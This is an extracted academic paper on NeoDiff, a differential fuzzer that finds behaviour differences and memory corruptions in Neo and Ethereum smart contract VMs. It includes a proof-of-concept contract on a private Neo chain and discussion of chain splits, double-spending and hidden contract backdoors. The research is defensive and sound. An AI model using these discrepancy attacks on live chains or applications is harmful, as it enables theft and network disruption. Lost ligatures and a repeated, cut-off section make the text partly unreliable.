Conference PaperPDF Available

Uncovering Smart Contract VM Bugs Via Differential Fuzzing

Authors:
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing
Dominik Maier
dmaier@sect.tu-berlin.de
Technische Universität Berlin
Berlin, Germany
Fabian Fäßler
fabi@fabif.de
Technische Universität Berlin
Berlin, Germany
Jean-Pierre Seifert
jean-pierre.seifert@tu-berlin.de
Technische Universität Berlin
Berlin, Germany
ABSTRACT
The ongoing public interest in blockchains and smart contracts has
brought a rise to a magnitude of dierent blockchain implementa-
tions. The rate at which new concepts are envisioned and imple-
mented makes it hard to vet their impact on security. Especially
smart contract platforms, executing untrusted code, are very com-
plex by design. Still, people put their trust and money into chains
that may lack proper testing. A behavior deviation for edge cases
of single op-codes is a critical bug class in this brave new world. It
can be abused for Denial of Service against the blockchain, chain
splits, double-spending, or direct attacks on applications operating
on the blockchain. In this paper, we propose an automated method-
ology to uncover such dierences. Through coverage-guided and
state-guided fuzzing, we explore smart contract virtual machine
behavior against multiple VMs in parallel. We develop NeoDi, the
rst framework for feedback-guided dierential fuzzing of smart
contract VMs. We discuss real, monetary consequences our tool pre-
vents. NeoDi can be ported to new smart contract platforms with
ease. Apart from fuzzing Ethereum VMs, NeoDi found a range
of critical dierentials in VMs for the Neo blockchain. Moreover,
through a higher-layer semantics mutator, we uncovered semantic
discrepancies between Neo smart contracts written in Python when
executed on the blockchain vs. classic CPython. Along the way,
NeoDi uncovered memory corruptions in the C# Neo VM.
CCS CONCEPTS
Security and privacy
Domain-specic security and privacy
architectures;Software and application security.
KEYWORDS
Dierential Fuzzing, State-Aware, Smart Contract VM
ACM Reference Format:
Dominik Maier, Fabian Fäßler, and Jean-Pierre Seifert. 2021. Uncovering
Smart Contract VM Bugs Via Dierential Fuzzing. In Reversing and Oensive-
oriented Trends Symposium (ROOTS’21), November 18–19, 2021, Vienna, Aus-
tria. ACM, New York, NY, USA, 12 pages. https://doi.org/10.1145/3503921.
3503923
Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for prot or commercial advantage and that copies bear this notice and the full citation
on the rst page. Copyrights for components of this work owned by others than the
author(s) must be honored. Abstracting with credit is permitted. To copy otherwise, or
republish, to post on servers or to redistribute to lists, requires prior specic permission
and/or a fee. Request permissions from permissions@acm.org.
ROOTS’21, November 18–19, 2021, Vienna, Austria
©2021 Copyright held by the owner/author(s). Publication rights licensed to ACM.
ACM ISBN 978-1-4503-9602-8/21/11. . . $15.00
https://doi.org/10.1145/3503921.3503923
1 INTRODUCTION
Blockchains and cryptocurrencies are often associated with money
and investments. This paper focuses on a very dierent aspect to
them, the underlying
smart contract virtual machines
and their
security. Systems like Ethereum [
3
] and Neo [
10
] extend the con-
cept of a traditional blockchain with such a built-in virtual machine:
Turing-complete, yet limited by articial mechanics, to guarantee
the program’s termination. Every execution of the contracts is pub-
licly recorded, and every node can run each smart contract to verify
the transactions. For computer security research, they introduce
a new and foreign execution environment when compared to tra-
ditional CPUs and operating systems. Like in an ordinary OS, the
virtual machine executing the smart contract denes an interface
to interact with various components. Without les, sockets, and
threading, but with direct access to the blockchain, smart contract
VMs create weird computing environments to explore and research.
From these new platforms, new security issues and bug classes
arise.
For common chains, all participating smart contract VMs need
to behave consistently. As we show in this paper, even the slight-
est dierence in op-code behavior can have drastic consequences.
They reach from stolen money, over chain splits, to the complete
collapse of the ecosystem. To mitigate security bugs before they
reach production, we create NeoDi, a purpose-built tool to un-
cover dierences automatically. It leverages dierential fuzzing,
generating valid input and feeding it back to the target to nd dif-
ferences in an automated fashion. In over 2
.
5k LOC, NeoDi packs
a fully-featured tool for security research. On top of coverage, a
common feedback mechanism for fuzzing, NeoDi can take state
progression into account, backed by the virtual machine. While
ding the two largest virtual machines for Ethereum only uncovers
false positives, likely due to rigorous manual testing, we uncover
a wide variety of bugs for the other ecosystem we test: we take a
deep dive into virtual machines for Neo, a less researched chain,
albeit still spanning a 24-hour trading volume of 1
.
5bn dollars in
early 2021. Here, NeoDi nds critical bugs, including dierences
between alternative VMs, as well as memory corruptions in the
pre-release code of Neo’s main chain. Since the Neo ecosystem of-
fers the option to write smart contracts in traditional programming
languages, such as Python, they open the door for further fuzzable
dierences: python’s language semantics.
In contrast to traditional fuzzing, the condition a dierential
fuzzer strives to trigger is not corrupted memory or a crash [
14
],
but a dierence in output or state. NeoDi can compare targets of
dierent ecosystems and programming languages, such as NeoPy-
thon and the Neo VM in C#, and support feedback mechanisms that
go beyond code coverage. NeoDi found a wide range of dierences
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
between the Neo VM implemented in C#—used by the main consen-
sus nodes—and the neo-python VM implemented in Python—used
by many client programs that want to interact with the blockchain,
such as wallets or web applications [
21
]. Moreover, NeoDi uncov-
ered semantic dierences between CPython and neo-boa Python
smart contracts for Neo, as well dierences on opcode-level and
memory corruptions in its VM, written in C#.
Our contributions are as follows:
We develop, evaluate, and open-source NeoDi, a purpose-
built platform for dierential fuzzing of smart contract VMs.
NeoDi is a generalized framework for dierential, feedback-
driven fuzzing, applicable to a broad range of VMs.
We implement NeoDi back ends to dierential fuzz the
openethereum against the geth Ethereum VM, as well as the
Neo VM against neo-python.
As an additional target, we di the CPython language se-
mantics against smart contracts written in Python, nding
semantic gaps in smart contract programming languages
and the associated security ramications.
We discuss how discrepancies in smart contract VMs can be
exploited beyond the blockchain network itself. For example,
we describe how to attack applications built on top of the
blockchain.
NeoDi helped nd and x critical bugs in the Neo smart
contract ecosystem, including dierences and: memory cor-
ruptions.
2 BACKGROUND
We are convinced building tooling applicable spanning multiple
smart contract platforms will add valuable insight for the research
community. In this section, we take a closer look at the Neo smart
contract platform. By the time of writing this paper, the Neo blockchain
had a reported market cap of about 3
.
7billion dollars and a 24h
trading volume of over 1.5billion dollars.
2.1 The Neo Smart Contract Ecosystem
Many people trust the Neo ecosystem to handle monetary assets.
Neo started to get research attention, for example, through work by
Qin et al., analyzing Neo’s dBFT scheme [
24
]. Neo is a proof-of-stake
blockchain using a small number of consensus nodes by design,
voted on by its stakeholders. As opposed to Ethereum, which uses
purpose-built languages like Solidity for smart contracts, Neo oers
front ends for a variety of traditional languages. The Neo home-
page lists support for 8 major programming languages, including
Python,Go,JavaScript,Java and C#, with an additional planned
support of Cand C++. The Neo compilers are typically not full
compilers but use the languages’ ocial compilers to transform
code into an intermediate representation, which is then translated
to AVM code, the bytecode for the Neo VM. The main consensus
nodes run the ocial VM, written in C#, and make up the core Neo
blockchain network. To interact with the blockchain—for example,
to send transactions or to invoke smart contracts—users need to use
client applications. The Neo ecosystem oers SDKs for developers
to build such applications on top of the Neo blockchain and to
interact with smart contracts. The SDKs have to understand all the
transactions in the Neo blockchain and thus include their own Neo
VM implementation to execute the smart contracts locally.
Neo Assets
The native assets of the Neo blockchain are NEO,
the main currency, and Neo GAS (GAS), primarily used to pay for
the deployment and execution of smart contracts. NeoGAS is being
generated and distributed over time to Neo wallets, proportionally
to the amount of Neo owned. Along with the typical verication
of asset transactions, each node also includes the Neo VM, able to
execute smart contracts in the form of bytecode. A certain GAS cost
is associated with each opcode and syscall. The consensus algorithm
used by the consensus nodes is called delegated Byzantine Fault
Tolerance and is based on Practical Byzantine Fault Tolerance [
7
,
16
].
The following sections will briey introduce the Neo smart contract
ecosystem.
The Neo Virtual Machine
The Neo VM is responsible for ex-
ecuting smart contracts uploaded to the Neo blockchain. Every
participant in the blockchain network, including wallets and ex-
changes, needs their own Neo VM to execute contracts. In contrast
to traditional process VMs, Neo VMs don’t provide access to hard-
ware or the lesystem but interact with data on the blockchain.
They abide by the Neo bytecode format and provide APIs to access,
for example, permanent storage and blockchain transaction data.
The ocial Neo VM used by the consensus nodes is implemented in
C# [
9
]. Client programs that want to interact with the blockchain,
such as wallets or web applications, often make use of alternative
VMs, matching their respective programming languages. For ex-
ample in go and Python.Evaluating smart contracts locally allows
clients to read data from a contract’s storage directly and to react to
events without having to query slow APIs or trusting a centralized
node.
The C# VM
The architecture of the main VM is depicted in Fig. 1.
Figure 1: Neo VM architecture: The main component of the
Neo VM is the ExecutionEngine. It executes each smart con-
tract in independent ExecutionContexts, ensuring strict sep-
aration between smart contracts. Each contract can work
on two seperate stacks, the AltStack and ExecutionStack.
Through the Interop Service, contracts can access external
data and state.
The ExecutionEngine is the core of the Neo VM and connects the
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
various components. It also contains the ExecuteInstruction() func-
tion that will interpret and execute any opcode. When a contract is
executed, an ExecutionContext is created and stored in the Invoca-
tionStack of the ExecutionEngine. This ExecutionContext contains
the Script, the bytecode of the smart contract, as well as two stacks.
The two stacks are the EvaluationStack, for storing results, and
AltStack for temporary data. For each call to other contracts, a
new ExecutionContext is created and placed on the Invocation-
Stack. This means the contracts are not sharing their Evaluation-
or AltStack with each other, which is a benecial security property.
Persistent Storage
Most data, such as blockchain transactions
and the contract’s permanent key-value storage, is accessed through
the SYSCALL opcode. The permanent key-value store, or rather the
values themselves, are not directly stored in the blockchain. The
blockchain only records transactions, which include transactions
that call smart contracts. Executed smart contracts can read, write
and delete data in this storage. In order to get the current state of
the storage, all transactions have to be replayed, and smart contract
invocations need to be executed. The storage might store authenti-
cation information or balances of tokens. Giving another contract
access to this storage context object authorizes this other contract
to access the same storage. This creates an attractive attack surface
for Neo smart contracts.
Storage-related issues could stem from bugs in the implemen-
tation itself, or programmers might carelessly authorize untrust-
worthy contracts. The potential impact of developers willingly
authorizing another contract is similar to what can happen with
DELEGATECALL in Ethereum smart contracts [
13
]. This call will
also execute another contract and authorize (delegate) the other
contract to interact with the same storage.
3 RELATED WORK
Dierential fuzzing has been used to test compilers, and libraries
since before the concept of smart contracts were envisioned.
CSmith
A notable example for dierential testing is CSmith
by Yang et al., which auto-generates C programs and hunts for
dierences in program behavior compiled with dierent compilers
and optimization levels. It found a wide variety of bugs in dierent
C compilers [25].
DifFuzz
With DifFuzz, Nilizadeh et al. propose the use of dif-
ferential fuzzing to nd side channels by observing the program
behavior concerning a resource [17].
NEZHA
Petsios et al. proposed NEZHA, a generalized approach
to dierential fuzzing of conventional binaries, which is more ef-
cient than existing tools at nding bugs in complex software,
targeted mainly towards binary libraries. Instead of using the code
coverage of a single target as feedback, they use multiple feedback
maps for the targets under test [23].
HyDi
HyDi by Noller et al. makes use of similar concepts as
NEZHA, for example, tracking changes of branch coverage in one
of the targets under test, but also makes use of symbolic execution
and static analysis. The tool has a range of divergence heuristics to
improve the selection of the mutated inputs [18].
EVMFuzz
EVMFuzz [
12
] is a fuzzer that was proposed by Fu et al.
for dierential fuzzing smart contract VMs. It generates contracts
and feeds them into multiple Ethereum VMs, in order to nd their
discrepancies. The tool works by mutating smart contracts on the
Solidity language level.
4 NEODIFF
Diff
Generator
VM1
VM0
Diff
Analyzer Minimizer
NeoDiff
Results
Tracer
Tracer
𝛕 Map
𝝈0..n ,𝛕0..n 𝝈0..n ,𝛕0..n
𝝈diff ,𝛕diff , Code
𝛕0...n , Code
𝛕0...n , Code𝛕
min
Code
Feedback
𝛕 , Code
Mutator
Target specific
Figure 2: NeoDi Building Blocks and Data Flow
This section discusses the concepts behind NeoDi. The NeoDi
fuzzer performs dierential testing [
15
] on alternative implementa-
tions of the same VM in order to nd discrepancies between their
execution.
4.1 Design
NeoDi is feedback-guided yet still able to explore multiple tested
virtual machines at the same time. With options for dierent light-
weight and portable feedback mechanisms, we can adapt NeoDi
to VMs written in a range of dierent languages across multiple
smart contract platforms. NeoDi is purpose-built from scratch
to a) be quickly adaptable to multiple targets b) mutate complex
bytecode c) work with additional state feedback and waypoints.
In contrast to prior work, such as EVMFuzz, NeoDi takes a
lower-layer approach, generating valid opcode sequences through
feedback-based mechanisms directly. Consequently, our approach
will emit any possible opcode sequence, while the Solidity compiler
may not emit sequences that don’t have a meaning on its higher
language level. We expect smart contract VMs to be less tested
against non-standard opcode sequences that are never emitted by
higher-level languages.
In the following sections, the important pieces of NeoDi, as
depicted in Fig. 2 will be discussed in detail.
Di Generator
The Di Generator generates code to be exe-
cuted by the VMs. For raw bytecode, the feedback-based mutator
will yield good results, applying a set of useful mutations to the
test cases, such as splicing and appending of high-coverage in-
put, random byte ips, and more. In comparison to language-level
fuzzers, like EVMFuzz [
12
], bytecode level mutators are also able to
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
nd uncommon and invalid bytecode sequences that the high-level
language compiler will never emit.
Mutators
It’s possible to specify custom mutators to customize
the fuzzer for specic targets. By default, NeoDi will apply one
of the following mutations in a loop, starting from an empty input,
until it reaches a minimum contract length:
Random Bytes: A random amount (0x1 - 0xF) random bytes
get appended to the contract.
Full Splice: Parts of a random second contract are appended.
Favors test cases that produced new coverage.
Partial Splice: Parts of a random second contract are ap-
pended. Favors test cases that produced new coverage.
Byte Insert: NeoDi inserts a random byte at a random place
into the current contract.
Special Operations: Special important VM opcodes, such as
PUSHBYTES for ETH, are pushed.
In contrast to existing coverage-guided fuzzers, like AFL++app,
neo-di can randomly generate completely new contracts, with the
goal of not getting stuck on a local maximum.
The NeoDi Evaluator will then extract bytecode sequences of
successful runs to be used by the next NeoDi Generator run.
On top of the predened mutations, it’s easy to dene chain-
specic mutators. As a concrete example, for semantic dierences
in Python, we implement a custom mutator that generates Python
code. It emits valid Python code, each block according to a state
value, which may be mutated. The generated code from the Di
Generator is then passed on to both VMs to be executed.
Di Analyzer
The instrumentation of the VMs must be adapted
to produce a valid trace for the Di Analyzer. The trace returned
from the run of a VM is a list of executed opcodes together with
a so-called type-hash
τ
and a state-hash
σ
. The Di Analyzer can
then compare
σ
of both traces to nd dis and use
τ
to classify
if new states were reached. We assume a state to diverge if any
state-hash
σ
during execution diers between VMs, for the same
input.
Minimizer
In case of a di, the oending opcode included
in
τ
, as well as the code that caused the di, is stored in NeoDi
Results. The part of the code that executed cleanly is forwarded
to the Minimizer, together with any
τ
of this run. The Minimizer
uses the instrumented VMs to nd the shortest byte sequence that
results in a specic
τ
and stores it in the
τ
Map. The
τ
Map is
growing over the course of the fuzzing session and can be used by
the Di Generator as feedback for further mutations.
𝛕0𝝈0
Opcode 𝛕1𝝈1
𝛕2𝝈2
Time
Stack Memory
Smart Contract VM Execution Trace NeoDiff Data
Opcode Stack Memory
Opcode Stack Memory
State Subset
State Subset
State Subset
Figure 3: Relation between VM internal execution states and
the NeoDi type-hash τand state-hash σ
4.2 State-Hash
To identify dierential execution, NeoDif makes use of a so-called
state-hash
σ
. Fig. 3 shows that
σ
will take a subset from the current
state during execution, as well as every previous state. A researcher
has to dene which information is important for a di and include
it in the hash. In a stack-based VM, this includes a probabilistic
sample of the stack; if there are registers,
σ
should include register
values, and if there is additional memory, this memory should be
taken into consideration. Of course, there is a trade-o between
execution speed and precision that has to be taken into account.
The state-hash
σ
must be continuously updated, for each opcode,
if possible. NeoDi then uses the state-hash to detect dis in any
of the executed operations.
4.3 Type-Hash
As can be seen in Fig. 3, type-hash
τ
also uses state information
from the execution trace, but it is not chained with previous states
during execution—it only represents a single opcode state. The
name type-hash stems from their purpose in the Neo VM, as the
Neo VM supports various types such as Integer, ByteArray, Array,
Boolean, Map, and Struct. Even though EVM only supports 256-
bit ints as types, we derived virtual types, such as valid addresses,
small ints, bools, that are known to lead to other executions inside
opcodes. While NeoDi can also work on traditional code cover-
age, if available, the type-hash
τ
helps to sort and categorize dis
and allows to quickly recognize patterns—for example if all dis
happened due to the top stack item being of a certain type. For
the type-hash, NeoDi uses the type of the top two stack items,
prexed with the current opcode. In Neo, if the ADD instruction is
executed while an Integer (1) and a ByteArray (2) are on the stack,
the type-hash τof this moment would be ADD_12.
Type-hashes are similar to previously proposed human-guided
feedback mechanisms like waypoints by Padhye et al. [
22
] and
annotations for Ijon, by Aschermann et al. [
2
], although both in-
crease the engineering overhead, while
τ
is specically designed as
a lightweight coverage metric for dierential VM fuzzing and other
exotic targets. Instrumenting VMs, written in a range of program-
ming languages, with full code coverage information per opcode
can be an additional engineering task, whereas type-hashes work
well across virtual machines for the same smart contract platform,
making them a good t for this use case.
To evaluate the eectiveness of type-hashes, we tested how many
times a newly-found type-hash results in improved code coverage
of the underlying VM. For this reason, we instrumented the neo-
python VM with code tracing, logging the execution trace for each
opcode and their type-hash. The Fig. 4 shows for each opcode the
ratio between nding a new type-hash and it also being new code
coverage. It shows that nding a new
τ
in 86% of cases (median)
also reaches new code coverage internally, making it a benecial
feedback channel.
Still, this does not imply that type-hashing will pick up all
changes in coverage for each of the tested VMs. Using actual code
coverage as
τ
is supported by the di engine, and test cases can be
shared with AFL++ [6].
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
0x0 0x1a 0x34 0x4f 0x6a 0x84 0x9e 0xb8 0xd2 0xec 0xff
NEO Opcode
0%
20%
40%
60%
80%
100%
% of Typehashes generating new Coverage
mean (83.66%)
median (85.96%)
Figure 4: Percentage of new type-hashes reaching new cover-
age per opcode in neo-python: over 83% of new type-hashes
also lead to new coverage.
4.4 Minimization
After bytecode executions, NeoDi collects the feedback. When it
discovers a new type-hash
τ
, it minimizes the code to reach this
τ
. The goal is to use the shortest possible smart contract with the
same semantics, as the contracts tend to grow fairly big otherwise.
The minimization re-runs the VMs with an increasing number
of bytes of the test case. For each byte, it checks if any of the new
τ
are included in the trace and stores them in the
τ
Map. Once
all type-hashes
τ
are found during execution, we assume that the
test case is minimal. This byte-for-byte minimization makes the
minimization part of NeoDi portable to other VMs. An issue is
that bytecode might not execute linearly due to jump opcodes. This
could result in the opcode of interest that leads to a new type-hash,
to sit in the middle of the code. Though most opcodes are executed
linearly and thus the best-eort approach should suce.
4.5 Di Triaging
Fuzzing VMs for dierentials is an iterative process.To take the
burden o of triaging, Neo Dis groups dis based on the type-hash
τ
of a potentially oending opcode. Simply re-running the VMs
and looking at the produced states allows very easy verication
of these dis. For example, through NeoDi we quickly found go-
ethereum and openethereum return dierent values for opcodes like
GASLIMIT. However, it was a false-positive in this case, caused by
dierent gas limit default congurations in each chain. The security
researcher using NeoDi can then either ignore false positives or
adjust the fuzzer conguration.
4.5.1 C# Neo VM against neo-python. To target the Neo VM, we
included the current opcode and stack values in each step of the
execution in the state-hash
σ
. To instrument the Neo VM with a
tracer that produces output for the Di Analyzer, we call each VM’s
ExecutionEngine directly. As both the Python VM and the C# VM
share a similar code design, this approach works for both. As Neo
VM knows dierent types,
τ
was chosen to use the opcode and the
type of the topmost stack elements.
4.5.2 Geth against Openethereum. To instrument the Ethereum
VM, we feed the existing JSON trace outputs from go-ethereum(geth)
and openethereum (formerly parity) into NeoDi. In contrast to
the Neo VM, the Ethereum VM does not have a concept of types.
Everything is encoded in uint256 values. So we instead created
τ
based on heuristical virtal types. Though in this case, it is still possi-
ble to dene virtual types to serve a similar purpose. For example, if
a given value on the stack looks like a potential address, we assign
it the virtual type of Address. Similarly, we interpret values that are
higher or lower than addresses as another virtual type, that poten-
tially leads to other code paths in the opcode execution handlers.
In total, for EVM, we deduct the following 6 virtual types, based on
value ranges:
(1) Empty Value not set
(2) Boolean Values 0 or 1
(3) Ethereum Address Exactly 160 bit
(4) ByteArray More than 160 bits
(5) Large Number More than 64 bits
(6) Number All other values
Using these values as
τ
, we were able to plug Ethereum into
the dierential fuzzer NeoDi, using only a few lines of additional
tracing code and some custom mutations.
4.5.3 CPython aginst Neo Python. We developed a custom mutator
for NeoDi, which is able to produce valid Python scripts that
can also run as valid Neo smart contracts with various random
expressions, followed by a return of a unique random identier
and whatever value was calculated before. For Python ding, the
state-hash consists of the hash of articially crafted return tuples,
containing the value calculated in the previous expression and a
unique id of the executed code path.
5 EVALUATION
To test the dierential fuzzer NeoDi, we implemented target-
specic code for multiple targets. In total, we ran NeoDi against
3 Targets, with 2 VMs each: the Neo C# VM against neo-python,
and the two largest Ethereum VMs, geth (go) and openethereum
(rust). As the third backend, we pivoted NeoDi to fuzz language
semantics. Namely, we di CPython against Neo smart contracts
written in Python and compiled with neo-boa to the Neo VM.
5.1 C# Neo VM against neo-python
We fuzzed neo-python:v0.9.1 against the neo-vm:2.4.3 C# VM. To
instrument the Neo VM with a tracer that produces output for the
Di Analyzer, NeoDi executes each VM’s ExecutionEngine directly.
We patched in a persistent mode, receiving inputs from NeoDi
without the need to respawn the VM, allowing us to reach thousands
of execs per second. The execution speed depends heavily on the
length and kind of contracts currently emitted (i.e., loops drag down
the execution speed). As Neo VM knows dierent types, we set
τ
to use the opcode and the type of the topmost stack elements.
Using Neo as a base, we evaluated four mutation strategies, each
in a 20 opcode, 20o, and a 500 opcode, 500o, variant - stopping the
execution of the VM at a maximum of 20, or 500 executed opcodes,
respectively. All mutation strategies nd dis, with the purely ran-
dom, random20o and random500o nding the most dierences at
rst glance. However, digging deeper, the pure-random dis are not
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
(a) Dis on Opcodes
(b) Dis with new τ
(c) Total τfound in Neo
Figure 5: Fuzzing Results for multiple NeoDi runs of neo-python and the main Neo VM. We compare multiple mutators and
purely random generation, as a baseline
diverse, as seen in Fig. 5a, after days of runtime, never exceeding
22 unique ding opcodes.
The dierentmutation strategies we evaluated are:
(1) random
True-Random fuzzing with fully random bytes,
used as a base reference
(2) mut1p
Hand-written custom mutator for Neo, with snippets
to push special values to the stack. With low probability, it
will use the coverage τ-feedback.
(3) mut20p
Same mutations as mut1p—but will use feedback-
based mutations with 20 times the initial probability.
(4) coverage
NeoDi default mutation strategy, with initial ran-
dom byte sequences, mostly relying on coverage
τ
-feedback
with random byte ips and splicing.
True random also lags behind all other on type-hashes, as seen
in Fig. 5c indicating the success of our mutation strategies. At
this metric, the type-hash-guided variants do very well. Fig. 5b,
showing the dis with unique type-hash proves that the pure-
random variants cannot compete against the custom mutators and
coverage-guided mutators. We draw another conclusion regarding
the size of the test case: while the 20p variants are faster initially,
they get overtaken by their larger variants eventually—probably
because complex operations cannot be expressed in 20 opcodes
easily. All mutation strategies found a wide range of real dis in
Neo. They are further discussed in-depth in Sect. 6.
5.2 Geth against Openethereum
For EVM, we perform the evaluation using the best mutation strat-
egy according to our prior experiments on Neo: a single mutator
with a very high likelihood of feedback-based mutations. State-
hashes σfor EVM include the opcode, the stack, the memory, and
the gas cost. A dierence in any of these would result in an ex-
ploitable discrepancy. To instrument the Ethereum VM, existing
JSON trace outputs from go-ethereum(geth) and openethereum
(formerly parity) can be reused and fed into NeoDi.
All in all, the Fuzzer found six instances on dierent opcodes,
see Fig. 6a. After triaging, all dierences could be traced back to
dierent behavior on empty chains between geth and openethereum.
We could not identify any security-critical dierences for existing
chains. More details about the dis can be found in the discussion
in Sect. 6.3
5.3 CPython aginst Neo Python
To di Python code, we developed a grammar-based custom mu-
tator for NeoDi, not based on
τ
, which is able to produce valid
Python scripts that can also be run as valid Neo smart contracts.
We could not simply get an opcode trace, as the executed CPython
bytecode is fundamentally dierent from Neo bytecode. Instead,
for Python ding, the state-hash consists of the hash of articially
crafted return tuples, containing the value calculated in the previous
expression and a unique id of the executed code path.
NeoDi was able to nd several semantic dierences for the
Python language. After over 20k executions, NeoDi had already
identied a range of semantic dis between CPython and Neo Smart
contracts:
neo-python: 14 dis vs. Python2.7 | 13 dis vs. Python3.7
Neo VM: 11 dis vs. Python2.7 | 10 dis vs. Python3.7
In fact, what can be seen here is an unintended additional discov-
ery of regular VM dis between C# and neo-python. We explain
the security impact of semantic dierences for smart contracts in
Sect. 6.4.
6 DISCUSSION
In the following section, we present an in-depth security analysis
of the fuzz targets after analyzing the results of NeoDi.
6.1 Security Impact of Dierences in Smart
Contract VMs
To understand why dierences between smart contract VMs can be
classied as security-critical bugs, this section will briey introduce
three categories of dierences, together with their possible attacks.
6.1.1 On-Chain Di. On-Chain dis describe dis between VMs
that are deployed as the participating nodes of a blockchain net-
work. In the case of Ethereum, this refers to the miners who have
to conrm all transactions. For each execution of a smart contract
on the chain, the bytecode runs on all nodes that need to agree
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
0.0 0.2 0.4 0.6 0.8 1.0 1.2 1.4 1.6
Execs Accumulated ×107
0
1
2
3
4
5
6
Unique Opcodes
Unique Opcode Diffs
EVM run (Parity & Geth)
(a) Dis on Opcodes
(b) Dis with new θ
01234
Execs Accumulated ×107
0
500
1000
1500
2000
Typehashes Found
Typehashes
EVM run (Parity & Geth)
(c) Total τfound in EVM
Figure 6: The results of our fuzzing run, comparing the Parity and Geth EVM VMs
with the propagated result in the chain when a block is forged.
Implementations between nodes on the chain must never diverge.
In a proof-of-work-based chain like Ethereum, a di between al-
ternative implementations with many active nodes can lead to a
split of the overall hashing power. Depending on the bug, the VM
implementation used by the majority mining power will keep the
main chain going, while the miners using the minority implemen-
tation may not agree and will therefore split o the chain, with a
dierent result for this transaction.
6.1.2 Blockchain Application Di. The issue described in the pre-
vious section can further be applied to applications built upon the
blockchain—including wallets, exchanges, DApps, and more. These
applications must understand new transactions and verify their
correctness by executing them. Local execution results must match
those on the main network. Else the application will suer from a
local chain split, resulting in a "wrong" view of the blockchain’s
state.
6.1.3 Contract Semantics Di. Language semantic dierences are
a discrepancy between the smart contract programming language
implementation and the original programming language. Semantic
dis happen if smart contracts can be written in languages bor-
rowed from other execution environments. In the case of Neo, smart
contracts can be implemented in many dierent languages, for ex-
ample, Python. If the behavior diers from the spec, developers may
introduce bugs. Their expectation of how the code should behave
diers from the actual implementation. A malicious developer can
abuse these dierent behaviors to hide backdoors in plain sight, as
even experienced Python developers have no chance to spot them.
6.2 PoC Attack on Neo VM Dierences
To show why VM discrepancies in Neo are an actual security issue,
we present an example attack for blockchain application dis.
First, we set up neo-local [
19
], a project to run a personal Neo
blockchain in Docker containers. It sets up a private Neo network
for testing, using the ocial C# node [
8
]. It also exposes a neo-
python [
21
] prompt to be used as a client to interact with the
blockchain. We set up a project that will use the Python VM to
execute the contracts locally and a C# VM that will be executing
contracts on the nodes. The attacks can be reproduced using the
version neo-local:0.12. With the neo-python prompt, it is possible to
compile and deploy the contract to the private chain. We depict this
in Listing 1. The resulting SmartContract.Contract.Create transac-
tion event also shows the deployed contract address, as well as the
transaction identier (line 8). After we deploy the contract, we can
invoke it using its address. A local test invocation, performed by
neo-python using the Python VM, returns the hex-encoded string
Python. After providing the wallet’s password, the transaction is
sent to the actual private blockchain network. Once the transaction
is broadcasted, the local wallet using neo-python will receive the
new transaction and execute it locally. As can be seen, the result of
the contract is indeed the string Python (line 22).
1neo>w al l et open neo -privnet .wallet
2neo>s c bu i ld /smart -contracts /div .p y
3Sav ed o ut pu t to /smart -contracts /div .avm
4neo>s c dep lo y /smart -contracts /div .avm False False False 00 0 7
5Pl e as e f i l l o ut the fo l lo w in g co n t r ac t d e t a i l s :
6[Co nt ra ct Name] > DIV PoC
7[ . . . ]
8[I19 1 00 6 1 3 : 2 4 : 4 6 EventHub: 6 2 ] [ SmartContract .Contract .Create ][6562] [0
f904e38fb40891daf11685a29f25a6716d331e7] [ t x 0
c86ab2fcce081f28259a9018e78dc8f8681046dfa06f414df4e521e28978657] { '
type':'InteropInterface','value ': { 'v er si o n ': 0 , 'hash ':'0
x0f904e38fb40891daf11685a29f25a6716d331e7','script':'58 c56b516a0052
[...]6c7566006c7566','parameters ': [ 'Signature'] , 'returntype':'
String','name':'DIV PoC ','code_version':' ' ,'author':'' ,'email ':
'' ,'description ':'' ,'properties ': { 'st o ra ge ':False ,'
dynamic_invoke':False ,'p ay ab le ':False } } }
9[ . . . ]
10 neo>s c in vok e 0x0f904e38fb40891daf11685a29f25a6716d331e7
11 [ . . . ]
12 ------------------------------------------------------------
13 Te s t i nv ok e s u c c e s s f u l
14 To tal op er ati ons : 3 9
15 Re s ul t s [ { 'type':'ByteArray ','value':'507974686 f6e'} ]
16 Inv ok e TX GAS co s t : 0 . 0
17 Inv oke TX f ee : 0 . 0 0 0 1
18 ------------------------------------------------------------
19 [password] > ∗∗∗
20 [ . . . ]
21 Rel ay ed Tx : 7740d42b12ecf4f7c9d92222b6eb629a2757c37e47b2cb6dffca3242b7ed98d8
22 [I19 1 00 6 1 3 : 2 5 : 0 3 EventHub: 6 2 ] [ SmartContract .Execution .Success ][6565] [0
f904e38fb40891daf11685a29f25a6716d331e7] [ t x 7740
d42b12ecf4f7c9d92222b6eb629a2757c37e47b2cb6dffca3242b7ed98d8] { 'type ':
'Array','value': [ { 'type ':'ByteArray','value ':b'Python'} ] }
23 [ . . . ]
24
Listing 1: DIV test contract deploy
To see what happened in the actual node running the C# Neo
VM, the JSON RPC endpoint exposed by one of the main nodes can
be used. This will return the result hex-encoded "437368617270"—it
returned the string Csharp instead.
Locally, the Python VM came to a dierent result when executing
the contract, compared to the real C# VMs running on the consensus
nodes!
Figure 6: The results of our fuzzing run, comparing the Parity and Geth EVM VMs
with the propagated result in the chain when a block is forged.
Implementations between nodes on the chain must never diverge.
In a proof-of-work-based chain like Ethereum, a di between al-
ternative implementations with many active nodes can lead to a
split of the overall hashing power. Depending on the bug, the VM
implementation used by the majority mining power will keep the
main chain going, while the miners using the minority implemen-
tation may not agree and will therefore split o the chain, with a
dierent result for this transaction.
6.1.2 Blockchain Application Di. The issue described in the pre-
vious section can further be applied to applications built upon the
blockchain—including wallets, exchanges, DApps, and more. These
applications must understand new transactions and verify their
correctness by executing them. Local execution results must match
those on the main network. Else the application will suer from a
local chain split, resulting in a "wrong" view of the blockchain’s
state.
6.1.3 Contract Semantics Di. Language semantic dierences are
a discrepancy between the smart contract programming language
implementation and the original programming language. Semantic
dis happen if smart contracts can be written in languages bor-
